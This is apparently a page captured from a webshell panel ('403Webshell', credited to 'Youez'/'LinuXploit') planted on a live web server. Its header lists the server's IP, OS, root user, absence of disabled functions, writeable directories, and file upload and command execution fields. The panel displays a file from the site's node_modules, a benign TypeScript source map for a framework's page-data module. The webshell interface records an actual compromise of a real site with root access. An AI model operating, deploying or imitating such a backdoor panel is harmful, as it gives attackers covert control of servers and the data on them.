403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/pages-page-data.js.map
{"version":3,"file":"pages-page-data.js","names":[],"sources":["../../src/server/pages-page-data.ts"],"sourcesContent":["import type { ReactNode } from \"react\";\nimport type { Route } from \"../routing/pages-router.js\";\nimport type { CachedPagesValue, CacheControlMetadata } from \"vinext/shims/cache\";\nimport { buildCachedRevalidateCacheControl } from \"./cache-control.js\";\nimport { VINEXT_CACHE_HEADER } from \"./headers.js\";\nimport { buildPagesCacheValue, type ISRCacheEntry } from \"./isr-cache.js\";\nimport {\n  buildPagesNextDataScript,\n  type PagesGsspResponse,\n  type PagesI18nRenderContext,\n} from \"./pages-page-response.js\";\n\ntype PagesRedirectResult = {\n  destination: string;\n  permanent?: boolean;\n  statusCode?: number;\n};\n\ntype PagesStaticPathsEntry = {\n  params: Record<string, unknown>;\n};\n\ntype PagesStaticPathsResult = {\n  fallback?: boolean | \"blocking\";\n  paths?: PagesStaticPathsEntry[];\n};\n\ntype PagesPagePropsResult = {\n  props?: Record<string, unknown>;\n  redirect?: PagesRedirectResult;\n  notFound?: boolean;\n  revalidate?: number;\n};\n\nexport type PagesMutableGsspResponse = {\n  headersSent: boolean;\n} & PagesGsspResponse;\n\nexport type PagesGsspContextResponse = {\n  req: unknown;\n  res: PagesMutableGsspResponse;\n  responsePromise: Promise<Response>;\n};\n\nexport type PagesPageModule = {\n  default?: unknown;\n  getStaticPaths?: (context: {\n    locales: string[];\n    defaultLocale: string;\n  }) => Promise<PagesStaticPathsResult> | PagesStaticPathsResult;\n  getServerSideProps?: (context: {\n    params: Record<string, unknown>;\n    req: unknown;\n    res: PagesMutableGsspResponse;\n    query: Record<string, unknown>;\n    resolvedUrl: string;\n    locale?: string;\n    locales?: string[];\n    defaultLocale?: string;\n  }) => Promise<PagesPagePropsResult> | PagesPagePropsResult;\n  getStaticProps?: (context: {\n    params: Record<string, unknown>;\n    locale?: string;\n    locales?: string[];\n    defaultLocale?: string;\n  }) => Promise<PagesPagePropsResult> | PagesPagePropsResult;\n};\n\ntype RenderPagesIsrHtmlOptions = {\n  buildId: string | null;\n  cachedHtml: string;\n  createPageElement: (pageProps: Record<string, unknown>) => ReactNode;\n  i18n: PagesI18nRenderContext;\n  pageProps: Record<string, unknown>;\n  params: Record<string, unknown>;\n  renderIsrPassToStringAsync: (element: ReactNode) => Promise<string>;\n  routePattern: string;\n  safeJsonStringify: (value: unknown) => string;\n};\n\nexport type ResolvePagesPageDataOptions = {\n  applyRequestContexts: () => void;\n  buildId: string | null;\n  createGsspReqRes: () => PagesGsspContextResponse;\n  createPageElement: (pageProps: Record<string, unknown>) => ReactNode;\n  fontLinkHeader: string;\n  i18n: PagesI18nRenderContext;\n  isrCacheKey: (router: string, pathname: string) => string;\n  isrGet: (key: string) => Promise<ISRCacheEntry | null>;\n  isrSet: (\n    key: string,\n    data: CachedPagesValue,\n    revalidateSeconds: number,\n    tags?: string[],\n    expireSeconds?: number,\n  ) => Promise<void>;\n  expireSeconds?: number;\n  pageModule: PagesPageModule;\n  params: Record<string, unknown>;\n  query: Record<string, unknown>;\n  route: Pick<Route, \"isDynamic\">;\n  routePattern: string;\n  routeUrl: string;\n  runInFreshUnifiedContext: <T>(callback: () => Promise<T>) => Promise<T>;\n  safeJsonStringify: (value: unknown) => string;\n  sanitizeDestination: (destination: string) => string;\n  scriptNonce?: string;\n  triggerBackgroundRegeneration: (\n    key: string,\n    renderFn: () => Promise<void>,\n    errorContext?: { routerKind: \"Pages Router\"; routePath: string; routeType: \"render\" },\n  ) => void;\n  renderIsrPassToStringAsync: (element: ReactNode) => Promise<string>;\n};\n\ntype ResolvePagesPageDataRenderResult = {\n  kind: \"render\";\n  gsspRes: PagesGsspResponse | null;\n  isrRevalidateSeconds: number | null;\n  pageProps: Record<string, unknown>;\n};\n\ntype ResolvePagesPageDataResponseResult = {\n  kind: \"response\";\n  response: Response;\n};\n\ntype ResolvePagesPageDataResult =\n  | ResolvePagesPageDataRenderResult\n  | ResolvePagesPageDataResponseResult;\n\nfunction buildPagesNotFoundResponse(): Response {\n  return new Response(\"<!DOCTYPE html><html><body><h1>404 - Page not found</h1></body></html>\", {\n    status: 404,\n    headers: { \"Content-Type\": \"text/html\" },\n  });\n}\n\nfunction buildPagesDataNotFoundResponse(): Response {\n  return new Response(\"404\", { status: 404 });\n}\n\nfunction resolvePagesRedirectStatus(redirect: PagesRedirectResult): number {\n  return redirect.statusCode != null ? redirect.statusCode : redirect.permanent ? 308 : 307;\n}\n\nfunction matchesPagesStaticPath(\n  pathEntry: PagesStaticPathsEntry,\n  params: Record<string, unknown>,\n): boolean {\n  return Object.entries(pathEntry.params).every(([key, value]) => {\n    const actual = params[key];\n    if (Array.isArray(value)) {\n      return Array.isArray(actual) && value.join(\"/\") === actual.join(\"/\");\n    }\n    return String(value) === String(actual);\n  });\n}\n\nfunction buildPagesCacheResponse(\n  html: string,\n  cacheState: \"HIT\" | \"STALE\",\n  fontLinkHeader: string,\n  revalidateSeconds?: number,\n  expireSeconds?: number,\n  cacheControl?: CacheControlMetadata,\n): Response {\n  // Legacy cache entries written before cacheControl metadata existed can still\n  // hit this path without a persisted revalidate value; keep the historic\n  // 60-second fallback for that migration window.\n  const effectiveRevalidateSeconds = cacheControl?.revalidate ?? revalidateSeconds ?? 60;\n  const effectiveExpireSeconds =\n    cacheControl === undefined ? undefined : (cacheControl.expire ?? expireSeconds);\n  const headers: Record<string, string> = {\n    \"Content-Type\": \"text/html\",\n    [VINEXT_CACHE_HEADER]: cacheState,\n    \"Cache-Control\": buildCachedRevalidateCacheControl(\n      cacheState,\n      effectiveRevalidateSeconds,\n      effectiveExpireSeconds,\n    ),\n  };\n\n  if (fontLinkHeader) {\n    headers.Link = fontLinkHeader;\n  }\n\n  return new Response(html, {\n    status: 200,\n    headers,\n  });\n}\n\nfunction rewritePagesCachedHtml(\n  cachedHtml: string,\n  freshBody: string,\n  nextDataScript: string,\n): string {\n  const bodyMarker = '<div id=\"__next\">';\n  const bodyStart = cachedHtml.indexOf(bodyMarker);\n  const contentStart = bodyStart >= 0 ? bodyStart + bodyMarker.length : -1;\n  // This intentionally looks for the bare inline __NEXT_DATA__ marker.\n  // Pages responses with scriptNonce are excluded from ISR writes, so cached\n  // HTML should never contain nonce-prefixed __NEXT_DATA__ scripts here.\n  const nextDataMarker = \"<script>window.__NEXT_DATA__\";\n  const nextDataStart = cachedHtml.indexOf(nextDataMarker);\n\n  if (contentStart >= 0 && nextDataStart >= 0) {\n    const region = cachedHtml.slice(contentStart, nextDataStart);\n    const lastCloseDiv = region.lastIndexOf(\"</div>\");\n    const gap = lastCloseDiv >= 0 ? region.slice(lastCloseDiv + 6) : \"\";\n    const nextDataEnd = cachedHtml.indexOf(\"</script>\", nextDataStart) + 9;\n    const tail = cachedHtml.slice(nextDataEnd);\n\n    return cachedHtml.slice(0, contentStart) + freshBody + \"</div>\" + gap + nextDataScript + tail;\n  }\n\n  return (\n    '<!DOCTYPE html>\\n<html>\\n<head>\\n</head>\\n<body>\\n  <div id=\"__next\">' +\n    freshBody +\n    \"</div>\\n  \" +\n    nextDataScript +\n    \"\\n</body>\\n</html>\"\n  );\n}\n\nexport async function renderPagesIsrHtml(options: RenderPagesIsrHtmlOptions): Promise<string> {\n  const freshBody = await options.renderIsrPassToStringAsync(\n    options.createPageElement(options.pageProps),\n  );\n  const nextDataScript = buildPagesNextDataScript({\n    buildId: options.buildId,\n    i18n: options.i18n,\n    pageProps: options.pageProps,\n    params: options.params,\n    routePattern: options.routePattern,\n    safeJsonStringify: options.safeJsonStringify,\n  });\n\n  return rewritePagesCachedHtml(options.cachedHtml, freshBody, nextDataScript);\n}\n\nexport async function resolvePagesPageData(\n  options: ResolvePagesPageDataOptions,\n): Promise<ResolvePagesPageDataResult> {\n  if (typeof options.pageModule.getStaticPaths === \"function\" && options.route.isDynamic) {\n    const pathsResult = await options.pageModule.getStaticPaths({\n      locales: options.i18n.locales ?? [],\n      defaultLocale: options.i18n.defaultLocale ?? \"\",\n    });\n    const fallback = pathsResult?.fallback ?? false;\n\n    if (fallback === false) {\n      const paths = pathsResult?.paths ?? [];\n      const isValidPath = paths.some((pathEntry) =>\n        matchesPagesStaticPath(pathEntry, options.params),\n      );\n\n      if (!isValidPath) {\n        return {\n          kind: \"response\",\n          response: buildPagesNotFoundResponse(),\n        };\n      }\n    }\n  }\n\n  let pageProps: Record<string, unknown> = {};\n  let gsspRes: PagesMutableGsspResponse | null = null;\n\n  if (typeof options.pageModule.getServerSideProps === \"function\") {\n    const { req, res, responsePromise } = options.createGsspReqRes();\n    const result = await options.pageModule.getServerSideProps({\n      params: options.params,\n      req,\n      res,\n      query: options.query,\n      resolvedUrl: options.routeUrl,\n      locale: options.i18n.locale,\n      locales: options.i18n.locales,\n      defaultLocale: options.i18n.defaultLocale,\n    });\n\n    if (res.headersSent) {\n      return {\n        kind: \"response\",\n        response: await responsePromise,\n      };\n    }\n\n    if (result?.props) {\n      pageProps = result.props;\n    }\n\n    if (result?.redirect) {\n      return {\n        kind: \"response\",\n        response: new Response(null, {\n          status: resolvePagesRedirectStatus(result.redirect),\n          headers: { Location: options.sanitizeDestination(result.redirect.destination) },\n        }),\n      };\n    }\n\n    if (result?.notFound) {\n      return {\n        kind: \"response\",\n        response: buildPagesDataNotFoundResponse(),\n      };\n    }\n\n    gsspRes = res;\n  }\n\n  let isrRevalidateSeconds: number | null = null;\n\n  if (typeof options.pageModule.getStaticProps === \"function\") {\n    const pathname = options.routeUrl.split(\"?\")[0];\n    const cacheKey = options.isrCacheKey(\"pages\", pathname);\n    const cached = await options.isrGet(cacheKey);\n    const cachedValue = cached?.value.value;\n\n    if (cachedValue?.kind === \"PAGES\" && cached && !cached.isStale && !options.scriptNonce) {\n      return {\n        kind: \"response\",\n        response: buildPagesCacheResponse(\n          cachedValue.html,\n          \"HIT\",\n          options.fontLinkHeader,\n          undefined,\n          options.expireSeconds,\n          cached.value.cacheControl,\n        ),\n      };\n    }\n\n    if (cachedValue?.kind === \"PAGES\" && cached && cached.isStale && !options.scriptNonce) {\n      options.triggerBackgroundRegeneration(\n        cacheKey,\n        async function () {\n          return options.runInFreshUnifiedContext(async () => {\n            const freshResult = await options.pageModule.getStaticProps?.({\n              params: options.params,\n              locale: options.i18n.locale,\n              locales: options.i18n.locales,\n              defaultLocale: options.i18n.defaultLocale,\n            });\n\n            if (\n              freshResult?.props &&\n              typeof freshResult.revalidate === \"number\" &&\n              freshResult.revalidate > 0\n            ) {\n              options.applyRequestContexts();\n              const freshHtml = await renderPagesIsrHtml({\n                buildId: options.buildId,\n                cachedHtml: cachedValue.html,\n                createPageElement: options.createPageElement,\n                i18n: options.i18n,\n                pageProps: freshResult.props,\n                params: options.params,\n                renderIsrPassToStringAsync: options.renderIsrPassToStringAsync,\n                routePattern: options.routePattern,\n                safeJsonStringify: options.safeJsonStringify,\n              });\n\n              await options.isrSet(\n                cacheKey,\n                buildPagesCacheValue(freshHtml, freshResult.props),\n                freshResult.revalidate,\n                undefined,\n                options.expireSeconds,\n              );\n            }\n          });\n        },\n        {\n          routerKind: \"Pages Router\",\n          routePath: options.routePattern,\n          routeType: \"render\",\n        },\n      );\n\n      return {\n        kind: \"response\",\n        response: buildPagesCacheResponse(\n          cachedValue.html,\n          \"STALE\",\n          options.fontLinkHeader,\n          undefined,\n          options.expireSeconds,\n          cached.value.cacheControl,\n        ),\n      };\n    }\n\n    const result = await options.pageModule.getStaticProps({\n      params: options.params,\n      locale: options.i18n.locale,\n      locales: options.i18n.locales,\n      defaultLocale: options.i18n.defaultLocale,\n    });\n\n    if (result?.props) {\n      pageProps = result.props;\n    }\n\n    if (result?.redirect) {\n      return {\n        kind: \"response\",\n        response: new Response(null, {\n          status: resolvePagesRedirectStatus(result.redirect),\n          headers: { Location: options.sanitizeDestination(result.redirect.destination) },\n        }),\n      };\n    }\n\n    if (result?.notFound) {\n      return {\n        kind: \"response\",\n        response: buildPagesDataNotFoundResponse(),\n      };\n    }\n\n    if (typeof result?.revalidate === \"number\" && result.revalidate > 0) {\n      isrRevalidateSeconds = result.revalidate;\n    }\n  }\n\n  return {\n    kind: \"render\",\n    gsspRes,\n    isrRevalidateSeconds,\n    pageProps,\n  };\n}\n"],"mappings":"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"}

Youez - 2016 - github.com/yon3zu
LinuXploit